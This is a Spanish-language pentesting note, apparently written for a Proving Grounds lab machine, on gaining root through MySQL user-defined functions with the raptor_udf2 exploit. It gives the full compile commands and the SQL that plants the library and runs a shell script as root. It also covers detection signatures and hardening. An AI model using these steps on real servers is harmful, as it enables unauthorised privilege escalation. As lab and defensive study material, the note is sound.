MySQL UDF abuse (raptor_udf2)
MySQL permite ampliar su lenguaje con funciones definidas por el usuario (UDF): funciones SQL cuyo código vive en una librería compartida (.so) cargada desde el directorio de plugins. Si registramos una UDF que ejecute comandos del sistema, esos comandos correrán con el usuario del proceso de MySQL. Cuando mysqld corre como root (mala práctica habitual), eso es una escalada directa a root.
Por qué importa. El vector no es un fallo de MySQL, sino una mala configuración: ejecutar el motor como root. El indicio que lo delata suele estar a la vista: un fichero que escribió la base de datos (por ejemplo, una webshell creada con INTO OUTFILE) aparece como root:root, o un ps aux muestra /usr/sbin/mysqld con UID 0. Para abusarlo hace falta poder ejecutar SQL como un usuario con privilegios (INSERT/CREATE y FILE), normalmente vía credenciales encontradas o a través de una inyección SQL.
La receta clásica (raptor_udf2, exploit-db 1518). Primero se compila la librería que expone la función do_system:
searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lcDespués se sube el .so a la víctima (a /tmp, por ejemplo) y, desde MySQL, se vuelca al directorio de plugins y se registra la función:
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('/bin/bash /tmp/bash.sh');El último select ejecuta el comando como root. Un detalle a tener en cuenta: la ruta del directorio de plugins depende de la versión (SHOW VARIABLES LIKE 'plugin_dir'), y en MySQL/MariaDB modernos secure_file_priv puede impedir el load_file/dumpfile. Aun así, en versiones como la 5.x con la configuración por defecto la técnica sigue funcionando.
Cómo detectarlo. En disco, la firma es la aparición de un .so no legítimo en el directorio de plugins (/usr/lib/mysql/plugin/), propiedad de mysql/root y creado por mysqld (FIM/auditd sobre create en esa ruta). En el motor, el general query log registra la secuencia delatora: select ... into dumpfile '.../plugin/...' seguido de create function ... soname y do_system(...), algo que ninguna aplicación normal ejecuta. En el host, mysqld (UID 0 o mysql) lanzando sh/bash como hijo es la confirmación (auditd/Sysmon for Linux sobre execve con ppid=mysqld).
Defensa. No ejecutar nunca mysqld como root: usar la cuenta de servicio mysql con mínimo privilegio, de modo que un abuso de UDF se quede en una shell de servicio y no en root. Restringir el privilegio FILE a las cuentas que de verdad lo necesiten y fijar secure_file_priv a un directorio inerte. Relacionado con SQLi con INTO OUTFILE y inyección de comandos.
Máquinas donde se aplica
- PebblesProving Grounds Practice